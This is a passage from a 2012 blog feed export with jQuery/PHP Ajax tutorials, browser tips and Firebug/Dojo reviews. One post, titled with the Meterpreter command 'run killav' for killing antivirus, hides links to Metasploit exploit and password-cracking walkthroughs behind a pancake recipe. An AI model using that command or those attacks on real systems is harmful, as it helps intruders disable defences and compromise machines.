<p>The whole Ajax post method could have been rewritten like this:</p>
<address><span style="color:#993366;">     var jqx = $.post($(&#8216;#saveURL&#8217;).val(), obj, function(status){</span></address>
<address><span style="color:#993366;">          $(&#8216;#saveOut&#8217;).click();</span></address>
<address><span style="color:#993366;">     });</span></address>
<address> </address>
<address><span style="color:#993366;">     jqx.error(function(jqXHR, eType){</span></address>
<address><span style="color:#993366;">          $(&#8216;#failOut&#8217;).click();</span></address>
<address><span style="color:#993366;">          throw new Error(&#8216;Save Survey Error &#8211; &#8216;</span></address>
<address><span style="color:#993366;">               + &#8216;{ &#8216; + eType + &#8216; &#8211; &#8216; + jqXHR.statusText</span></address>
<address><span style="color:#993366;">               + &#8216; }&#8217;);</span></address>
<address><span style="color:#993366;">    });</span></address>
<address> </address>
<p>According to the manual jqXHR is a superset of the browser&#8217;s native XMLHttpRequest object. I ran a little routine to list the properties and methods associated with this object, with the following results:</p>
<table width="100%" border="2" rules="rows" cellspacing="0" cellpadding="5">
<col width="74" />
<col width="61" />
<col width="61" />
<col width="60" />
<tbody>
<tr valign="top">
<td width="29%">setRequestHeader</td>
<td width="24%">abort</td>
<td width="24%">isRejected</td>
<td width="23%"><span style="color:#993366;">complete</span></td>
</tr>
<tr valign="top">
<td width="29%">getAllResponseHeaders</td>
<td width="24%">pipe</td>
<td width="24%">fail</td>
<td width="23%">statusCode</td>
</tr>
<tr valign="top">
<td width="29%">getResponseHeader</td>
<td width="24%">always</td>
<td width="24%">done</td>
<td width="23%">status</td>
</tr>
<tr valign="top">
<td width="29%">overrideMimeType</td>
<td width="24%">then</td>
<td width="24%"><span style="color:#993366;">success</span></td>
<td width="23%">statusText</td>
</tr>
<tr valign="top">
<td width="29%">isRestored</td>
<td width="24%">promise</td>
<td width="24%"><span style="color:#993366;">error</span></td>
<td width="23%">readyState</td>
</tr>
<tr valign="top">
<td width="29%">responseText</td>
<td colspan="3" width="71%">Note the three methods which take a function argument (Callback function referred to as a handler) highlighted in <span style="color:#993366;">red</span> are the methods called when the Ajax request terminates!</td>
</tr>
</tbody>
</table>
<p><span style="color:#ffffff;">I</span></p>
<p>Back to the .error() method whose handler is called if an error occurs. In this case another button is triggered &#8211; <strong><span style="color:#993366;">$(&#8216;#failOut&#8217;).click();</span></strong>. This is the second button in the documents &#8216;ajaxForm&#8217;. When this one is triggered a post variable is generated ($_POST['failOut']) and returned to the PHP Controller file. The Controller will use a condition statement to capture that response and send the User on their way. The Controller script would look something like this:</p>
<address><span style="color:#008080;">     if(<strong>isset($_POST['failOut'])</strong>){</span></address>
<address><span style="color:#008080;">          header(&#8216;Location:&#8217; . &#8216;/&#8217; . $_ENV['siteRoot']);</span></address>
<address><span style="color:#008080;">          exit();</span></address>
<address><span style="color:#008080;">     }</span></address>
<address> </address>
<p>As you can see no attempt is made to save the Survey response to the MySQL table. The error that occurred in the Ajax call in this case is logged in the jQuery code, i.e., <strong><span style="color:#993366;">throw new Error()</span> </strong>which is the standard way I handle errors in jQuery. For more information on this see my<a title="jQuery Error Handling" href="http://sitepop.wordpress.com/2012/08/04/jquery-error-handling/" target="_blank"> jQuery Error Handling Session</a>.</p>
<p>Together this PHP Controller file and the jQuery Script will handle this feature regardless of whether the User has JavaScript enabled in their browser or not!</p>
<p>I&#8217;m certain as you went through this session you said to yourself, “Wow I wouldn&#8217;t have done it that way!”. Welcome to jQuery. The library offers a large number of ways to achieve any non-trivial project. In some cases I chose a circuitous route because I wanted to make a point or demonstrate a condition I thought you should know, often it is just poor design. I am sure you can improve on any of my sessions, please do.</p>
<p>Enjoy.</p>
<p>Don</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Web Browser Tips for WordPress, HTML, and Web Design]]></title>
<link>http://lorelleteaches.com/2012/08/27/web-browser-tips-for-wordpress-html-and-web-design/</link>
<pubDate>Mon, 27 Aug 2012 17:24:28 +0000</pubDate>
<dc:creator>Lorelle VanFossen</dc:creator>
<guid>http://lorelleteaches.com/2012/08/27/web-browser-tips-for-wordpress-html-and-web-design/</guid>
<description><![CDATA[The following video contains useful web browser tips to help you speed you your browsing, WordPress,]]></description>
<content:encoded><![CDATA[<p>The following video contains useful web browser tips to help you speed you your browsing, WordPress, and web design work.</p>
<div class='embed-vimeo' style='text-align:center;'><iframe src='http://player.vimeo.com/video/45100758' width='500' height='281' frameborder='0'></iframe></div>
<p><a href="http://vimeo.com/45100758">Basic Web Browser Tips by Lorelle VanFossen for Clark College</a> from <a href="http://vimeo.com/user2709823">Lorelle VanFossen</a></p>
<p>Please note that the video refers to the Windows keyboard shortcuts using the CTRL key. This is the equivalent to the CMD key on Mac. </p>
<p>For mobile devices, long presses usually activate the equivalent of keyboard shortcuts and right clicks, though not all of them may be available in the apps you are using.</p>
<p>Here are some of the specific tips covered in the video.</p>
<ul>
<li>Editing (just like in a word processor)
<ul>
<li>CTRL+C = Copy</li>
<li>CTRL+X = Cut</li>
<li>CTRL+V = Paste</li>
<li>CTRL+Z = Undo</li>
</ul>
</li>
<li>CTRL+T = Open New Tab</li>
<li>F5 = Reload/Refresh Page</li>
<li>Zoom in and out of a web page (magnify): CTRL+Plus and CTRL+Minus</li>
<li>Right click on links on the page brings up the right click menu to access link specific options and features.</li>
<li>Right click on blank or empty spaces on a web page brings up the right click menu for page specific options and features.</li>
<li>Learn to open web pages in tabs not windows. This saves on computer memory issues and speeds up your browser process.
<ul>
<li>Use Mouse and Keyboard shortcuts: CTRL + Left Click on Link = Opens Linked Page in New Tab</li>
</ul>
</li>
<li>Fast Navigation through Browser Tabs
<ul>
<li>CTRL+T = Opens New Tab</li>
<li>CTRL+1 = Goes to Tab #1</li>
<li>CTRL+ 2, 3, 4, etc. goes to that tab number</li>
<li>CTRL+Arrow = moves focus to next and previous tab</li>
</ul>
</li>
<li>Working on web page design or WordPress? Refresh and you don&#8217;t see changes? You need to clear the cache and do a &#34;hard&#34; clearing page reload. F5 or SHIFT+F5 OR do a Cache Refresh
<ul>
<li>CTRL+F5 (Firefox and Chrome)</li>
<li>CTRL+Shift+R (Firefox)</li>
<li>CTRL + R (Chrome)</li>
<li>(You may have to repeat a couple times)</li>
</ul>
</li>
<li>To view the source code of a web page: Right Click &#62; View Page Source</li>
<li>Web Developer Tools
<ul>
<li>Use Built-in Web Developer Tools plus <a title="Firebug" href="http://getfirebug.com/">Firebug</a>:</li>
<li>Measure It: <a title="Measure It for Firefox" href="http://frayd.us/extensions/measureit/">Measure It for Firefox</a> or <a title="Measure It for Chrome" href="http://bit.ly/NMR4VJ">Measure It for Chrome</a></li>
<li>Color Pickers: <a title="Colorzilla for Firefox and Chrome" href="http://www.colorzilla.com/">Colorzilla for Firefox and Chrome</a></li>
<li>Copy Link as Proper HTML Link: <a title="CoLT for Firefox" href="http://www.borngeek.com/firefox/colt/">CoLT for Firefox</a> or <a title="Chrome Create Link" href="http://bit.ly/N3WjkN">Chrome Create Link</a> or <a title="Chrome Copy Link Text" href="http://bit.ly/L9hPJ2">Chrome Copy Link Text</a></li>
<li>For preserving and sharing code snippets on your site, in comments, forums, and social media use PasteBin: <a title="Pastebin for Firefox and Chrome" href="http://pastebin.com/tools">Pastebin for Firefox and Chrome</a></li>
</ul>
</li>
</ul>
]]></content:encoded>
</item>
<item>
<title><![CDATA[PKR Arts and Science College for Women]]></title>
<link>http://prasathalbert.wordpress.com/2012/08/25/pkr-arts-and-science-college-for-women/</link>
<pubDate>Sat, 25 Aug 2012 09:41:16 +0000</pubDate>
<dc:creator>Prasath Albert</dc:creator>
<guid>http://prasathalbert.wordpress.com/2012/08/25/pkr-arts-and-science-college-for-women/</guid>
<description><![CDATA[Title                                        : PKR Arts and Science College for Women Role          ]]></description>
<content:encoded><![CDATA[Title                                        : PKR Arts and Science College for Women Role          ]]></content:encoded>
</item>
<item>
<title><![CDATA[meterpreter &gt; run killav ]]></title>
<link>http://myexploit.wordpress.com/2012/08/23/meterpreter-run-killav/</link>
<pubDate>Thu, 23 Aug 2012 15:29:11 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/08/23/meterpreter-run-killav/</guid>
<description><![CDATA[Ingredients 135g/4¾oz plain flour 1 tsp baking powder ½ tsp salt 2 tbsp caster sugar 130ml/4½fl oz m]]></description>
<content:encoded><![CDATA[<p>Ingredients</p>
<p>135g/4¾oz <a href="http://www.myexploit.wordpress.com/control-respect-to-armitage1989/" target="_blank">plain flour</a></p>
<p>1 tsp baking <a href="http://www.myexploit.wordpress.com/control-linux-john-passwd-crack/" target="_blank">powder</a></p>
<p>½ tsp <a href="http://myexploit.wordpress.com/control-metasploit-distcc_exec-linux/" target="_blank">salt</a></p>
<p>2 tbsp caster <a href="http://www.myexploit.wordpress.com/port-number-exploits/" target="_blank">sugar</a></p>
<p>130ml/4½fl oz <a href="http://www.myexploit.wordpress.com/control-metasploit-unreal_ircd_3281_backdoor/" target="_blank">milk</a></p>
<p>1 large egg, <a href="http://www.myexploit.wordpress.com/web-application-metasploitable/" target="_blank">lightly beaten</a></p>
<p>2 tbsp melted <a href="http://www.myexploit.wordpress.com/control-metasploit-browser_autopwn/" target="_blank">butter</a> (allowed to cool slightly) or olive oil, plus extra for cooking</p>
<p>To serve</p>
<p>Maple <a href="http://www.myexploit.wordpress.com/mock-pentest-one/" target="_blank">syrup</a></p>
<p><a href="http://www.myexploit.wordpress.com/web-application-dvwa-damn-vulnerable-web-app/" target="_blank">Butter</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Dojo Firebug Extension - from an XPage developer's perspective]]></title>
<link>http://xomino.com/2012/08/19/dojo-firebug-extension-from-an-xpage-developers-perspective/</link>
<pubDate>Mon, 20 Aug 2012 00:14:07 +0000</pubDate>
<dc:creator>MarkyRoden</dc:creator>
<guid>http://xomino.com/2012/08/19/dojo-firebug-extension-from-an-xpage-developers-perspective/</guid>
<description><![CDATA[In this article I take a rather irreverent look at, and describe some what I was hoping would be, th]]></description>
<content:encoded><![CDATA[<p>In this article I take a rather irreverent look at, and describe some what I was hoping would be, the useful capabilities of the dojo firebug extension available at<a href="https://addons.mozilla.org/en-US/firefox/addon/dojofirebugextension/" target="_blank"> https://addons.mozilla.org/en-US/firefox/addon/dojofirebugextension/</a></p>
<p><strong>Introduction</strong></p>
<p>I love firebug for my client side JavaScript development &#8211; <a title="jQuery in Xpages – development tip – using Firebug Console" href="http://xomino.com/2012/05/21/jquery-in-xpages-development-tip-using-firebug-console/">for many reasons too numerous to mention here</a>. If you have no idea what firebug is then you should google it and find out &#8211; USE IT and you will never go back&#8230;..</p>
<p><strong>So what&#8217;s this Dojo extension all about then ?</strong></p>
<p>Right off the bat I loved finding this quote &#8220;The Dojo Firebug Extension started as an internal IBM initiative to help IBMers working with Dojo.&#8221;, and more importantly got me straight off on the thought of what can this do for me in my XPages?</p>
<p>The documentation is available here - <a href="https://getfirebug.com/wiki/index.php/DojoFirebugExtension_Reference_Guide" target="_blank">https://getfirebug.com/wiki/index.php/DojoFirebugExtension_Reference_Guide</a> and as firebug extensions go &#8211; this one is fairly well documented &#8211; nice job <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>You have to download a different version based on your firebug and your firefox version&#8230;.that&#8217;s kinda weird and disconcerting and they don&#8217;t have my version of firebug or firefox &#8211; but hey we truck on in hope.</p>
<p><strong>So What does it do for me as an XPages developer?</strong></p>
<p>Good question &#8211; let&#8217;s find out&#8230;</p>
<p>Well the first thing it showed me was how MASSIVELY complicated the Dojo integration with XPages is&#8230;&#8230;check out some of these idTags on this Tab Container!! <img src='http://s1.wp.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> </p>
<div id="attachment_1002" class="wp-caption aligncenter" style="width: 948px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo11.jpg"><img class="size-full wp-image-1002" title="Dojo Firebug extension in action" src="http://xomino.files.wordpress.com/2012/08/fdojo11.jpg?w=938&#038;h=789" alt="Dojo Firebug extension in action" width="938" height="789" /></a><p class="wp-caption-text">Dojo Firebug extension in action</p></div>
<p>&#160;</p>
<p><strong>Open API documentation</strong></p>
<p>This *could be* really useful &#8211; if you can get over how useless the API documentation site is &#8211; let me paraphrase&#8230;&#8230;.IF you understand how the Dojo API documentation works this *could be* fantastically helpful&#8230;..</p>
<p>In my previous article on how I figured out how to use the<a title="Dynamic TabPanel height with Dojo TabContainer in XPages" href="http://xomino.com/2012/08/11/dynamic-tabpanel-height-with-dojo-tabcontainer-in-xpages/" target="_blank"> Dojo Tab Container doLayout</a> (where the screenshots come from) I was struggling to find out what I needed to make the Tab Panel heights dynamic. Would this have helped?&#8230;.I was kinda bitter at this point as I figured it would have&#8230;.so i soldiered on..</p>
<p><em><strong>Select the tab container and look at the extension</strong></em></p>
<div id="attachment_1003" class="wp-caption aligncenter" style="width: 953px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo2.jpg"><img class="size-full wp-image-1003" title="Selecting open API documentation" src="http://xomino.files.wordpress.com/2012/08/fdojo2.jpg?w=943&#038;h=649" alt="Selecting open API documentation" width="943" height="649" /></a><p class="wp-caption-text">Selecting open API documentation</p></div>
<p>&#160;</p>
<p><em><strong>and opening the API documentation</strong></em></p>
<div id="attachment_1004" class="wp-caption aligncenter" style="width: 1034px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo3.jpg"><img class="size-full wp-image-1004" title="Dojo API documentation" src="http://xomino.files.wordpress.com/2012/08/fdojo3.jpg?w=1024&#038;h=492" alt="Dojo API documentation" width="1024" height="492" /></a><p class="wp-caption-text">Dojo API documentation</p></div>
<p>&#160;</p>
<p>*yawns* &#8211; so not really &#8211; but stay with me</p>
<p>The next options *looks* more useful (so why did you show us the API link? Yes you guessed it&#8230;&#8230; it *is* &#8216;cos I hate you and I wanted to force you to look at Dojo API documentation &#8211; get over it and don&#8217;t ask daft questions)</p>
<p><em><strong>Open Reference Guide Doc</strong></em></p>
<div id="attachment_1005" class="wp-caption aligncenter" style="width: 788px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo4.jpg"><img class="size-full wp-image-1005" title="Open Reference Guide Doc" src="http://xomino.files.wordpress.com/2012/08/fdojo4.jpg?w=778&#038;h=773" alt="Open Reference Guide Doc" width="778" height="773" /></a><p class="wp-caption-text">Open Reference Guide Doc</p></div>
<p>&#160;</p>
<p>Which shows you this&#8230;&#8230;.</p>
<div id="attachment_1006" class="wp-caption aligncenter" style="width: 1034px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo5.jpg"><img class="size-full wp-image-1006" title="Dojo Reference Guide Documentation" src="http://xomino.files.wordpress.com/2012/08/fdojo5.jpg?w=1024&#038;h=519" alt="Dojo Reference Guide Documentation" width="1024" height="519" /></a><p class="wp-caption-text">Dojo Reference Guide Documentation</p></div>
<p>&#160;</p>
<p>First of all I am really impressed that this actually links to the 1.8 version which was only released this week &#8211; but that is also not helpful because XPages 8.5.(What I am using) uses 1.6 so which a quite switch over on the right hand side</p>
<div id="attachment_1007" class="wp-caption aligncenter" style="width: 495px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo6.jpg"><img class="size-full wp-image-1007" title="Switching to 1.6" src="http://xomino.files.wordpress.com/2012/08/fdojo6.jpg?w=485&#038;h=294" alt="Switching to 1.6" width="485" height="294" /></a><p class="wp-caption-text">Switching to 1.6</p></div>
<p>We get&#8230;</p>
<div id="attachment_1009" class="wp-caption aligncenter" style="width: 826px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo71.jpg"><img class="size-full wp-image-1009" title="Aw Butts - really?/?" src="http://xomino.files.wordpress.com/2012/08/fdojo71.jpg?w=816&#038;h=381" alt="Aw Butts - really?/?" width="816" height="381" /></a><p class="wp-caption-text">Aw Butts &#8211; really?/?</p></div>
<p>And I was just saying how awesome you guys were &#8211; CRAP.</p>
<p>As it turns out the plugin is too smart and not smart enough to detect 1) the version of dojo I am using and 2) that this feature it thinks I am using is available in 1.6&#8230;</p>
<div id="attachment_1010" class="wp-caption aligncenter" style="width: 766px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo8.jpg"><img class="size-full wp-image-1010" title="DOH" src="http://xomino.files.wordpress.com/2012/08/fdojo8.jpg?w=756&#038;h=147" alt="DOH" width="756" height="147" /></a><p class="wp-caption-text">DOH</p></div>
<p>DOH *grrr*</p>
<p><strong>Que?</strong></p>
<p>So I didn&#8217;t solve that problem but I did find another one &#8211; I noticed that IBM modified the Dojo specifically for the extlib!! &#8230;if you look at the code reference in the extension</p>
<div id="attachment_1012" class="wp-caption aligncenter" style="width: 777px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo9.jpg"><img class="size-full wp-image-1012" title="Well that is kinda interesting I guess.." src="http://xomino.files.wordpress.com/2012/08/fdojo9.jpg?w=767&#038;h=201" alt="Well that is kinda interesting I guess.." width="767" height="201" /></a><p class="wp-caption-text">Well that is kinda interesting I guess..</p></div>
<p>[view:_id1:_id2:_id39:djTabContainer1 (Widget extlib.dijit.TabContainer)]</p>
<p>and when we select to go to the Reference Guide Docs &#8211; the URL it is sent to</p>
<p><a href="http://dojotoolkit.org/reference-guide/1.8/" rel="nofollow">http://dojotoolkit.org/reference-guide/1.8/</a><em><strong>extlib</strong></em>/dijit/TabContainer.html</p>
<p>You will see that <em><strong>extlib</strong></em> has been inserted into the URL</p>
<p>the REAL documentation is here</p>
<p><a href="http://dojotoolkit.org/reference-guide/1.8/dijit/layout/TabContainer.html" target="_blank">http://dojotoolkit.org/reference-guide/1.8/dijit/layout/TabContainer.html</a></p>
<p>dijit/layout and not extlib/digit.</p>
<p>If you look at an example from <a href="http://davidwalsh.name/demo/dojo-tabs.php" target="_blank">david walsh&#8217;s blog</a> you can see the difference&#8230;</p>
<div id="attachment_1013" class="wp-caption aligncenter" style="width: 965px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo10.jpg"><img class="size-full wp-image-1013" title="vive la difference" src="http://xomino.files.wordpress.com/2012/08/fdojo10.jpg?w=955&#038;h=292" alt="vive la difference" width="955" height="292" /></a><p class="wp-caption-text">vive la difference</p></div>
<p>&#160;</p>
<p><strong>Anything else?</strong></p>
<p>Well I found out how to manage FireFox profiles - <a href="http://www.howtogeek.com/howto/internet/firefox/use-multiple-firefox-profiles-at-the-same-time/">http://www.howtogeek.com/howto/internet/firefox/use-multiple-firefox-profiles-at-the-same-time/</a> which is kinda useful &#8211; so I did learn something useful from this investigation.</p>
<p>There are a number of cool Dojo debugging capabilities if you are really into writing seriously with the dijits whereby you can subscribe to the data and watch it move all over the place &#8211; kinda cool &#8211; not helpful for XPage development though.</p>
<p><strong>So is this really useful for an XPages developer?</strong></p>
<p>Well I have to say from an purely educational perspective it is really interesting to get an insight into how the dijits work&#8230;</p>
<div id="attachment_1014" class="wp-caption aligncenter" style="width: 1025px"><a href="http://xomino.files.wordpress.com/2012/08/fdojo111.jpg"><img class="size-full wp-image-1014" title="Some really complex cool stuff going on  in here" src="http://xomino.files.wordpress.com/2012/08/fdojo111.jpg?w=1015&#038;h=399" alt="Some really complex cool stuff going on  in here" width="1015" height="399" /></a><p class="wp-caption-text">Some really complex cool stuff going on in here</p></div>
<p>&#160;</p>
<p>But I think my overall impression of the extension is that it will not help an XPage developer develop their XPages at all in any sort of way</p>
<p>Shame really <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p><strong>PS</strong></p>
<p>Let me rephrase that last sentiment &#8211; I think this COULD be really useful if IBM were inclined to apply some time and effort to making a similar extension for XPages Dojo development &#8211; but isn&#8217;t the point of XPages is kinda so we don&#8217;t have to worry about Dojo&#8230;so it would be an uber-dojo-geek expert XPages developer tool only&#8230;meh&#8230;who wants to do that?? <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Shame really <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p><strong>PPS</strong></p>
<p>That is two blog articles in a row about dojo - don&#8217;t worry I am not going back to the dark side &#8211; jQuery still rocks my world <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Firebug and YSlow to improve the performance of your website]]></title>
<link>http://drupalfun.wordpress.com/2012/08/17/firebug-and-yslow-to-improve-the-performance-of-your-website/</link>
<pubDate>Fri, 17 Aug 2012 22:09:30 +0000</pubDate>
<dc:creator>webdesigns4fun</dc:creator>
<guid>http://drupalfun.wordpress.com/2012/08/17/firebug-and-yslow-to-improve-the-performance-of-your-website/</guid>
<description><![CDATA[A website takes too long to load is a never a pleasant site is it??  There are two great tools to he]]></description>
<content:encoded><![CDATA[<p>A website takes too long to load is a never a pleasant site is it??  There are two great tools to help you, so stop fretting about it.These tools will surely speed up your slow website.</p>
<p><strong>Firebug</strong> (for Firefox) is a tool to improve the performance of any site, and it has various methods to do so. It&#8217;s very easy to use and to install even for a new- bee <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Let&#8217;s get started with Firebug.First, install the <a title="Firebug Plugin" href="https://getfirebug.com/">Firebug Plugin</a> Firefox. After installing Firebug you have to enable <strong>Network Monitoring</strong> by clicking the arrow to the right of the Net tab and choosing “enable”. Now refresh the page and as the page loads, you will see a progress bar relative to all the other files.</p>
<p>&#160;</p>
<p><a href="http://drupalfun.files.wordpress.com/2012/08/firebug2.jpg"><img class="aligncenter  wp-image-201" title="firebug2" src="http://drupalfun.files.wordpress.com/2012/08/firebug2.jpg?w=1103&#038;h=815" alt="" width="1103" height="815" /></a></p>
<p>This will provide you with the data for improving the speed of your website and why was it slow. If an image is taking a long time to load, consider reducing it’s file size. Are there a a lot of .css or .js files? Try compressing them to reduce the HTTP requests.</p>
<p>There are a lot of features that Firebug offers and it boasts of being the <em>most popular and powerful web development tool. </em>But who doesn&#8217;t?!? <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  It provides you a step-by-step interactive debugging in a visual environment.</p>
<p><strong>YSlow </strong></p>
<p>Although YSlow can be used on Firefox along with Firebug, I usually use YSlow for Google Chrome. There&#8217;s something everyone will definetely love about YSlow . The Yahoo Performance team has identified a set of rules that affect performance on web pages. You can <a title="get YSlow here" href="//chrome.google.com/webstore/category/ext/11-web-development">get YSlow here  ! </a></p>
<p>Once you are done with the the installation you will notice a fan shapped icon on your browser to the rightmost corner, that is the icon of YSlow. Click on it and you are ready to go check out the performance of your site.</p>
<p><a href="http://drupalfun.files.wordpress.com/2012/08/yslow11.jpg"><img class="aligncenter size-large wp-image-203" title="yslow1" src="http://drupalfun.files.wordpress.com/2012/08/yslow11.jpg?w=1024&#038;h=494" alt="" width="1024" height="494" /></a></p>
<p>The first attempt of mine on my blog on YSlow, i got the grade D , I added a few CDN&#8217;s and the result is as you can see it Grade D and Overall performance score 88. The goal is to keep the performance score above 80, the higher the better.  It&#8217;s easier with a Drupal site as you&#8217;d have all your files be it .css, .js in your folders, you can do the required changes as suggested by YSlow and reach to a higher grade. Here are some more pictures to give you a clear idea.</p>
<p>The picture below lists the contents of the site, the types of content and it&#8217;s details. In a typical Drupal site your would zip all the .css files into a folder to improve the performance and that would be displayed as GZIP files in the TYPE column.</p>
<p><a href="http://drupalfun.files.wordpress.com/2012/08/yslow2.jpg"><img class="aligncenter size-large wp-image-204" title="yslow2" src="http://drupalfun.files.wordpress.com/2012/08/yslow2.jpg?w=1024&#038;h=494" alt="" width="1024" height="494" /></a></p>
<p>Here is a picture of the statistics of my blog:</p>
<p><a href="http://drupalfun.files.wordpress.com/2012/08/yslow31.jpg"><img class="aligncenter size-large wp-image-206" title="yslow3" src="http://drupalfun.files.wordpress.com/2012/08/yslow31.jpg?w=1024&#038;h=493" alt="" width="1024" height="493" /></a></p>
<p>So tell me, What do you prefer, Firebug or YSlow? I somehow love them both !!</p>
<p>&#160;</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Simple Ajax Session]]></title>
<link>http://sitepop.wordpress.com/2012/08/17/simple-ajax-session/</link>
<pubDate>Fri, 17 Aug 2012 20:32:31 +0000</pubDate>
<dc:creator>Donald Howard</dc:creator>
<guid>http://sitepop.wordpress.com/2012/08/17/simple-ajax-session/</guid>
<description><![CDATA[I Simple Ajax Session I This session is about processing data from the browser to the server. If you]]></description>
<content:encoded><![CDATA[<h2><span style="color:#ffffff;">I<a href="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg"><img class="alignright size-medium wp-image-372" title="SitePOP_Legend" src="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg?w=300&#038;h=150" alt="" width="300" height="150" /></a></span></h2>
<h2>Simple Ajax Session</h2>
<h2><span style="color:#ffffff;">I</span></h2>
<p>This session is about processing data from the browser to the server. If you have not already read my <a title="jQuery Essentials" href="http://sitepop.wordpress.com/2012/07/31/jquery-essentials/" target="_blank">&#8216;jQuery Essentials Session&#8217; </a>please do so before continuing. To give you a good overview I am going to take you through an Internet form submission. Now normally I would not use Ajax to submit form data but many web sites do and jQuery has some special methods to support this requirement. Why wouldn&#8217;t I submit form data via Ajax? I don&#8217;t see any advantage for the User. For a fair amount of data, the server-side process is a superior solution, IMHO. Not only is it just as fast but more importantly I know it will work for all Users (even those with JavaScript disabled).</p>
<p>There are three good ways to package form data for transport via Ajax to the server. The first is using a standard (plain) JavaScript &#8216;object&#8217;, the second is the jQuery Object&#8217;s &#8216;serialize()&#8217; method and the third is the jQuery Object&#8217;s &#8216;serializeArray()&#8217; method. Before we examine each method lets first examine some jQuery script that should handle the process.</p>
<p>In this example we will be processing a Volunteer form. This form probably has a bit more data than I would normally consider a candidate for jQuery / Ajax but provides a worthwhile demonstration. This is what our test form looks like.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/volform_blank.jpg"><img class="aligncenter size-full wp-image-1094" title="VolForm_Blank" src="http://sitepop.files.wordpress.com/2012/09/volform_blank.jpg?w=500&#038;h=349" alt="" width="500" height="349" /></a></p>
<p>Because we are focused on Ajax in this session lets examine the jQuery script for submitting the form.</p>
<address><span style="color:#993366;">     $(document).ready(function(){</span></address>
<address><span style="color:#993366;">          <strong>$(&#8216;#vSubm&#8217;).click(function(eve){</strong></span></address>
<address><strong><span style="color:#993366;">               eve.preventDefault();</span></strong></address>
<address><strong><span style="color:#993366;">               var inObj = getVolValues();</span></strong></address>
<address><strong><span style="color:#993366;">               $(&#8216;input, select, textarea, button&#8217;).attr(&#8216;disabled&#8217;, &#8216;disabled&#8217;);</span></strong></address>
<address><strong><span style="color:#993366;">               var result = validateVolForm(inObj);</span></strong></address>
<address><strong><span style="color:#993366;">               if(result===true){</span></strong></address>
<address><strong><span style="color:#993366;">                     saveVolForm(inObj);</span></strong></address>
<address><strong><span style="color:#993366;">                } else {</span></strong></address>
<address><strong><span style="color:#993366;">                     validationVolErrMsg(result);</span></strong></address>
<address><strong><span style="color:#993366;">               }</span></strong></address>
<address><strong><span style="color:#993366;">          });</span></strong></address>
<address><span style="color:#993366;">     });</span></address>
<address> </address>
<p>In this component of the script we are adding a handler for a click event. The click event is bound to a submit &#8216;button&#8217; DOM element with an &#8216;id&#8217; equal to <span style="color:#993366;">&#8216;vSubm&#8217;</span>. When the User clicks the submit button, jQuery will validate and submit the form. If an error occurs a message will appear on the page.</p>
<p>The first statement in this new script uses the event object <span style="color:#993366;">(eve.preventDefault())</span> to prevent the default submit action from occurring. I want to do this early because if there are any errors that are not caught I will end up back at my PHP Controller file.</p>
<p><em>I often see inserted in this kind of script, a simple animation to be displayed while the Ajax transaction is occurring. Exactly the reason you should NOT use jQuery / Ajax for &#8216;large&#8217; form data. If you have to animate a gif file and/or disable controls while using jQuery / Ajax you are probably using it in the wrong way! You should be using these tools to enhance the User experience. If you have to run an animation to let the User know to wait, you are just substituting one form of wait (client-side) for another (server-side).</em></p>
<p>The second statement calls a <span style="color:#993366;">getVolValues()</span> method and assigns the result to a variable called inObj. What we are doing here is packaging the form data to be sent via Ajax to our PHP file for processing. This is an example of using an &#8216;Object&#8217; to facilitate the data transfer process.</p>
<p><strong>I. We could use the following Object approach:</strong></p>
<address><span style="color:#993366;">     function getVolValuesObj() {</span></address>
<address><span style="color:#993366;">          var obj = {}; var ints = {};</span></address>
<address><span style="color:#993366;">          <strong>var $selInts = $(&#8216;input[name="committee[]&#8220;]:checked&#8217;);</strong></span></address>
<address><span style="color:#993366;">          $selInts.each(function(){</span></address>
<address><span style="color:#993366;">              <strong> ints[this.value] = $(this).val();</strong></span></address>
<address><span style="color:#993366;">          });</span></address>
<address><span style="color:#993366;">          <strong>var $inputs = $(&#8216;#volForm :input:not(“:button, :checkbox”)&#8217;);</strong></span></address>
<address><span style="color:#993366;">          $inputs.each(function(){</span></address>
<address><span style="color:#993366;">               <strong>obj[this.name] = $(this).val();</strong></span></address>
<address><span style="color:#993366;">          });</span></address>
<address><span style="color:#993366;">          obj = $.extend({}, obj, ints);</span></address>
<address><span style="color:#993366;">          return obj;</span></address>
<address><span style="color:#993366;">     }</span></address>
<address> </address>
<p>This approach requires a bit of work but makes the data easy to work with in validation. First you have to get the DOM elements that hold the values we wish to POST via Ajax. These are $selInts for the checked checkboxes on the form and $inputs for all other &#8216;input&#8217; elements. Note that both variables have a &#8216;$&#8217; prefix, which you should now know, I use to indicate that the variable references a jQuery Object.</p>
<p>Also as you can see in the jQuery Function selector, we are only interested in those checkboxes that are checked. This should be obvious because of the<span style="color:#993366;"> &#8216;:checked&#8217;</span> filter. The jQuery Object returned from this jQuery Function will look something like this:</p>
<p>     [<br />
